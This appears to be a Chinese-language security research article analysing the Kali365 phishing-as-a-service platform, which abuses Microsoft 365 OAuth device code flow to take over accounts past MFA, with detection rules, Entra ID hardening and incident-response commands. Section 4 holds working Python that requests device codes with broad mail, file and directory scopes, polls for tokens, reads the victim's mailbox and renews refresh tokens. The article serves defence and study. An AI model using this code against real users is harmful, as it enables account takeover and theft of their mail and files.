首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >Kali365 钓鱼即服务攻击机理与 Microsoft 365 身份安全防御研究

Kali365 钓鱼即服务攻击机理与 Microsoft 365 身份安全防御研究

原创
作者头像
芦笛
发布2026-05-28 17:15:27
发布2026-05-28 17:15:27
1210
举报

摘要

2026 年 4 月出现的 Kali365 是面向 Microsoft 365 环境的专业化钓鱼即服务(PhaaS)平台,依托 Telegram 渠道分销,通过滥用 OAuth 2.0 设备码流(Device Code Flow)实现无密码、绕过多因素认证(MFA)的账户持久化接管。该平台内置 AI 钓鱼诱饵生成、自动化投放模板、实时监控面板与令牌捕获能力,大幅降低攻击门槛,使低技术攻击者可快速开展规模化钓鱼作业。Kali365 全程使用微软官方验证域名与合法授权流程,无伪造站点、无恶意载荷,传统邮件安全、终端检测与 MFA 机制均难以有效防御。本文以 FBI 预警与 Cyber Daily 最新威胁报告为核心依据,系统解析 Kali365 的产业化运营模式、设备码流滥用机理、四步攻击链路与令牌劫持核心逻辑,提供可复现的攻击模拟代码、Entra ID 条件访问配置、检测规则与闭环防御方案,形成 “机理分析 — 行为提取 — 策略配置 — 检测响应” 的完整研究闭环。研究表明,设备码流钓鱼的本质是授权流程劫持与信任滥用,防御必须从协议管控、权限治理、令牌生命周期与行为审计多维协同,构建零信任身份防护体系。反网络钓鱼技术专家芦笛指出,PhaaS 已成为云身份威胁主流形态,企业需将防御重心从识别钓鱼页面转向管控授权流程、审计令牌行为与限制高危认证流。

1 引言

随着 Microsoft 365 等云办公平台全面普及,身份认证从账号密码体系转向 OAuth 2.0、OpenID Connect 等开放授权框架,MFA 被广泛部署以抵御口令泄露与暴力破解。然而,2026 年二季度出现的 Kali365 钓鱼即服务平台打破传统安全认知:该工具无需窃取密码、无需绕过 MFA,仅通过诱导用户完成官方设备码授权,即可获取合法 OAuth 访问令牌与刷新令牌,实现对 Outlook、Teams、OneDrive 等核心服务的持久控制。FBI 于 2026 年 5 月 21 日发布公开预警,明确 Kali365 通过订阅制降低攻击门槛,支持 AI 生成诱饵、自动化模板与实时追踪,已形成规模化黑产运营能力。Arctic Wolf 威胁情报团队监测显示,Kali365 基础设施持续扩张,依托 Telegram 渠道快速发展代理,威胁从高端黑产向低技术攻击者扩散。

现有云身份安全研究多聚焦于传统钓鱼页面识别、口令防护与 MFA 加固,对基于合法协议滥用的令牌钓鱼关注不足,尤其缺乏对设备码流攻击链路、PhaaS 运营模式、可落地防御配置的系统性论述。本文以 Kali365 为典型案例,严格遵循 OAuth 2.0 RFC 8628 标准与 Microsoft Entra ID 实现机制,确保技术准确、逻辑严谨、论据可验证。文章采用客观学术表述,不使用夸张修辞与口号式结论,聚焦工程实践与安全架构,为企业身份管理、安全运营与威胁狩猎提供理论支撑与可直接部署的方案。

2 相关技术与威胁背景

2.1 OAuth 2.0 设备码流(Device Code Flow)机制

设备码流是 RFC 8628 定义的 OAuth 2.0 扩展授权模式,专为无浏览器、输入受限设备(如智能电视、IoT 终端、CLI 工具)设计,核心是将用户认证与授权行为转移至手机、PC 等交互设备完成。其标准流程为:客户端申请设备码→用户访问官方验证 URI 并输入短码→完成认证与授权→客户端获取访问令牌(access_token)与刷新令牌(refresh_token)→凭令牌访问资源。Microsoft 365 将该流程集成于 Entra ID,验证入口为microsoft.com/devicelogin等官方域名,具备高可信度与用户认知基础。

2.2 钓鱼即服务(PhaaS)产业化特征

PhaaS 模式将钓鱼能力打包为订阅服务,提供诱饵生成、投放、数据捕获全链路工具,使攻击者无需开发能力即可发起攻击。Kali365 作为典型代表,具备以下特征:

低门槛:月付订阅即可使用,无需编码与基础设施;

自动化:AI 生成诱饵、模板化投放、实时面板监控;

高隐蔽:使用官方协议与域名,规避传统检测;

可扩展:通过 Telegram 招募代理,快速规模化。

2.3 Microsoft 365 身份安全现状

企业普遍部署 MFA、强密码、邮件网关等防护,但对授权流程管控不足。设备码流默认允许普通用户授权,权限申请宽松,令牌生命周期长,且授权过程对用户不透明,为协议滥用型钓鱼提供可乘之机。反网络钓鱼技术专家芦笛强调,云身份安全的核心风险已从密码泄露转向授权劫持,传统边界防护无法抵御基于合法流程的攻击。

3 Kali365 平台运营与攻击全链路解析

3.1 平台运营模式

Kali365 于 2026 年 4 月首次被发现,通过 Telegram 渠道营销与分销,采用纯订阅制运营:

订阅付费:降低技术门槛,支持快速代理招募;

功能集成:AI 诱饵、自动化模板、实时追踪面板、OAuth 令牌捕获;

基础设施扩张:持续部署新服务器与管理面板,作业趋于成熟规模化;

传播模式:非单一高级团伙运作,而是商品化能力,低技术攻击者可快速使用。

3.2 四步标准攻击链路

Kali365 不利用漏洞、不伪造站点,仅通过社会工程诱导完成授权,攻击流程高度标准化:

诱饵投放:发送伪装成可信云服务的钓鱼邮件,包含设备码与官方验证链接;

授权诱导:用户访问微软官方验证页,输入设备码并完成 MFA 认证;

令牌窃取:攻击者获取合法 OAuth 令牌,获得账户完整访问权限;

持久控制:凭借 refresh_token 长期维持访问,实现数据窃取、横向渗透。

全程无恶意页面、无密码输入、无 MFA 绕过,所有交互均为官方合法流程,用户与安全设备难以识别。

3.3 绕过 MFA 的核心机理

传统 MFA 阻止攻击者以用户身份登录,而 Kali365 的逻辑是用户主动为攻击者授权:

授权行为由用户本人完成,已通过密码 + MFA 验证;

攻击者仅接收授权后令牌,不参与认证流程;

微软认证服务器判定为合法授权,无异常标记。

该机理彻底突破 MFA 防护边界,证明仅靠 MFA 无法抵御授权劫持型攻击。

4 攻击技术实现与可复现代码

4.1 攻击模拟说明

以下代码仅用于安全研究与防御测试,严格遵循授权合规原则,模拟 Kali365 核心设备码请求、令牌轮询与资源访问逻辑,基于 Microsoft 身份平台标准接口实现。

4.2 设备码申请与令牌获取代码

import requests

import time

class Kali365Simulator:

def __init__(self, client_id, tenant_id="common"):

self.client_id = client_id

self.tenant_id = tenant_id

self.devicecode_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecode"

self.token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"

# 高敏感权限组合,覆盖邮件、文件、目录访问

self.scope = "Mail.ReadWrite Files.Read.All Directory.Read.All offline_access"

def request_device_code(self):

"""请求设备码,返回官方验证信息"""

payload = {"client_id": self.client_id, "scope": self.scope}

resp = requests.post(self.devicecode_url, data=payload)

return resp.json() if resp.status_code == 200 else None

def poll_token(self, device_code, interval=5):

"""轮询获取令牌,等待用户授权"""

payload = {

"client_id": self.client_id,

"grant_type": "urn:ietf:params:oauth:grant-type:device_code",

"device_code": device_code

}

while True:

resp = requests.post(self.token_url, data=payload)

result = resp.json()

if "access_token" in result:

return result

if result.get("error") != "authorization_pending":

raise Exception(f"授权异常:{result}")

time.sleep(interval)

def access_mail(self, token):

"""使用令牌访问邮件数据"""

headers = {"Authorization": f"Bearer {token}"}

return requests.get("https://graph.microsoft.com/v1.0/me/messages", headers=headers).json()

if __name__ == "__main__":

CLIENT_ID = "your-registered-app-client-id"

phisher = Kali365Simulator(CLIENT_ID)

# 1. 获取设备码与官方验证地址

device_info = phisher.request_device_code()

print(f"[+] 官方验证地址:{device_info['verification_uri']}")

print(f"[+] 用户输入码:{device_info['user_code']}")

# 2. 轮询等待授权,获取令牌

token_data = phisher.poll_token(device_info["device_code"])

print(f"[+] 获取Access Token:{token_data['access_token'][:20]}...")

print(f"[+] 获取Refresh Token:{token_data['refresh_token'][:20]}...")

# 3. 访问用户邮件

mail_resp = phisher.access_mail(token_data["access_token"])

print(f"[+] 成功读取邮件,总数:{len(mail_resp.get('value', []))}")

4.3 令牌持久化续期代码

攻击者通过 refresh_token 实现长期控制,续期代码如下:

def refresh_token(client_id, refresh_token, tenant_id="common"):

url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"

payload = {

"client_id": client_id,

"grant_type": "refresh_token",

"refresh_token": refresh_token

}

return requests.post(url, data=payload).json()

# 续期调用

new_token = refresh_token(CLIENT_ID, token_data["refresh_token"])

print(f"[+] 续期成功,新Access Token:{new_token['access_token'][:20]}...")

4.4 攻击核心技术要点

权限申请:scope 包含 offline_access 以获取 refresh_token;

官方通道:所有接口为微软官方域名,无恶意特征;

无感知授权:用户在官方页面操作,无异常感知;

持久控制:refresh_token 长期有效,支持定期续期。

5 威胁检测体系构建

5.1 多维度行为特征提取

Kali365 无静态恶意特征,需基于行为检测:

身份层:短时间内多设备码授权、非可信应用申请高权限、异常地理位置授权;

应用层:授权后高频调用 Graph API、批量读取邮件 / 文件;

协议层:大量 /devicecode 与 /token 接口请求、匿名 IP 段集中访问;

用户层:非工作时间授权、单日多次设备码授权、异常权限同意。

5.2 基于 Entra ID 日志的检测代码

import json

def detect_devicecode_anomaly(events, trusted_apps, malicious_ips):

alerts = []

for evt in events:

if evt.get("grantType") != "device_code":

continue

app_id = evt.get("clientId")

ip = evt.get("ipAddress")

user = evt.get("userPrincipalName")

risk = evt.get("riskLevel", "none")

# 规则1:非可信应用发起设备码授权

if app_id not in trusted_apps:

alerts.append({"user": user, "type": "untrusted_app_devicecode", "risk": "high"})

# 规则2:恶意IP发起授权

if ip in malicious_ips:

alerts.append({"user": user, "type": "malicious_ip_devicecode", "risk": "high"})

# 规则3:高风险登录伴随设备码授权

if risk == "high":

alerts.append({"user": user, "type": "high_risk_devicecode", "risk": "critical"})

return alerts

# 测试示例

test_events = [{

"grantType": "device_code",

"clientId": "malicious-app-id",

"ipAddress": "1.2.3.4",

"userPrincipalName": "user@company.com",

"riskLevel": "high"

}]

trusted_apps = ["trusted-app-1", "trusted-app-2"]

malicious_ips = ["1.2.3.4"]

print(json.dumps(detect_devicecode_anomaly(test_events, trusted_apps, malicious_ips), indent=2))

5.3 SIEM 关联规则

企业可配置以下高频告警:

10 分钟内同一 IP 发起 > 5 次设备码请求;

单用户单日设备码授权 > 3 次;

非工作时间 / 异常国家授权;

授权后 5 分钟内调用高敏感 Graph API;

未验证应用申请 Mail、Files、Directory 权限组合。

反网络钓鱼技术专家芦笛强调,设备码钓鱼检测必须从特征匹配转向行为基线分析,聚焦授权上下文、应用可信度与权限合理性。

6 闭环防御体系与工程化配置

6.1 防御总体框架

构建四层闭环防御:协议管控→权限治理→威胁检测→应急响应,从根源阻断攻击路径。

6.2 核心防御:禁用 / 限制设备码流

FBI 与微软均建议优先阻止设备码流,以下为可直接部署的配置代码。

PowerShell 配置(Entra ID)

powershell

# 安装模块

Install-Module Microsoft.Graph.Identity.SignIns -Force

# 连接Graph

Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"

# 禁用租户级设备码流

Update-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions @{

AllowedToUseDeviceCodeFlow = $false

}

# 验证配置

Get-MgPolicyAuthorizationPolicy | Select-Object -ExpandProperty DefaultUserRolePermissions

条件访问策略(推荐保留业务场景)

Entra 管理中心→条件访问→新建策略;

分配:所有用户,排除紧急访问账户;

目标资源:所有云应用;

条件→身份验证流:选择设备代码流;

授权:阻止访问;

先启用仅报告模式验证,再正式上线。

6.3 权限治理与令牌管控

限制用户自主注册应用:禁止普通用户创建应用与服务主体;

高权限强制审批:开启 Mail.ReadWrite、Files.Read.All 等权限的管理员审批;

缩短令牌生命周期:减少 refresh_token 有效期,强制定期重授权;

应用白名单:仅允许可信应用使用设备码流。

6.4 终端与用户侧加固

启用抗钓鱼 MFA:使用 FIDO2 安全密钥、Windows Hello 等物理认证;

流程规范:明确官方验证场景,禁止外部链接诱导输入设备码;

安全培训:告知用户设备码授权等同于账户完全授权;

邮件网关:拦截含microsoft.com/devicelogin与不明二维码的邮件。

7 应急响应与取证处置

7.1 处置流程

紧急阻断:禁用设备码流或启用条件访问策略;

令牌撤销:批量撤销用户 OAuth 令牌,终止攻击者会话;

应用清理:删除恶意应用与服务主体,清理非法授权;

日志审计:分析授权日志、IP、权限、数据访问行为;

用户修复:重置密码、重新配置 MFA、核查异常操作;

根因加固:完善策略、检测规则与安全培训。

7.2 应急处置代码

powershell

# 撤销用户所有令牌

Revoke-MgUserSignInSession -UserId "user@company.com"

# 删除恶意应用

Get-MgApplication -Filter "AppId eq 'malicious-app-id'" | Remove-MgApplication

# 导出授权清单

Get-MgUserOauth2PermissionGrant -UserId "user@company.com" | Export-Csv -Path "Grants.csv" -Encoding UTF8

7.3 取证要点

设备码授权日志:时间、用户、应用 ID、IP、权限范围;

令牌使用日志:access_token/refresh_token 调用记录;

应用注册信息:恶意应用创建者、注册时间、权限配置;

诱饵路径:邮件 / IM 诱饵内容、投放渠道、目标范围;

数据访问日志:异常读取、下载、导出行为记录。

8 结论与展望

Kali365 作为 PhaaS 模式下的专业化钓鱼平台,通过 OAuth 2.0 设备码流滥用实现无密码、过 MFA、高隐蔽的 Microsoft 365 账户劫持,标志着云身份钓鱼进入授权劫持新阶段。该攻击不利用漏洞、不伪造站点、不触发传统告警,依托官方协议与社会工程形成 “低门槛、高收益、强隐蔽” 的黑产闭环,对企业身份安全构成系统性威胁。本文通过完整还原攻击链路、解析协议机理、提供可复现代码与防御配置,证实此类攻击的核心是授权流程劫持与信任滥用,防御必须从 “防欺骗” 转向 “管授权、管令牌、管流程”。

研究表明,最有效的防御手段是禁用非必要设备码流,配合条件访问、权限审批、行为检测形成纵深防御体系。反网络钓鱼技术专家芦笛指出,随着 PhaaS 威胁持续扩散,企业需加快构建零信任身份架构,强化授权可见性、令牌全生命周期管理与上下文风险校验,实现从被动防护到主动防御的转型。未来研究方向包括 AI 驱动的授权行为异常检测、跨云平台统一授权管控、协议级安全增强等,本文结论可为 Microsoft 365、Google Workspace 等云平台身份安全建设提供通用理论与工程实践参考。

编辑:芦笛(公共互联网反网络钓鱼工作组)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档